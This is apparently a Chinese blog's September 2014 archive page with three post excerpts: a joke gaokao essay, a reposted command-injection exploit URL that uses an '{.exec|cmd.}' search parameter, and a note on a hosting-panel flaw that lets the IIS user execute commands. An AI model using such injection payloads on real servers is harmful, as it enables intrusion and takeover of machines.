09 2014 档案
摘要:零分作文(浙江):三句的青春怎么搞花开落无声,岁月不留痕。常言踏遍青山人不老,风景这边独好。窗外人头攒动,屋内学子悄悄。少男少女挑灯烛,看来大学吸引真不少。三句话,刚写完,突觉作文题目是山炮。明明需要八百字,三句可怎么搞?复习大半年,吃不饱,睡不好,只为一锤子买卖来高考。谁知这儿还有个坑,骗骗那些没...
阅读全文
摘要:从某论坛看见的,转载部分: 这个程序在国内用的特别多,特别是那些抓肉鸡的黑阔。http://localhost:80/?search==%00{.exec|cmd.}http://localhost:80/search=%00{.exec|cmd.}注:有些版本search前面是没有?的。测试部分:...
阅读全文
摘要:星外虚拟主机跨目录读取文件漏洞,需要一定条件。问题发生在以下文件,这些文件都没有严格的设置执行权限,当前的IIS用户能够顺利的利用它们执行命令:c:\windows\7i24IISLOG.exec:\windows\7i24IISLOG2.exec:\windows\7i24IISLOG3.exec...
阅读全文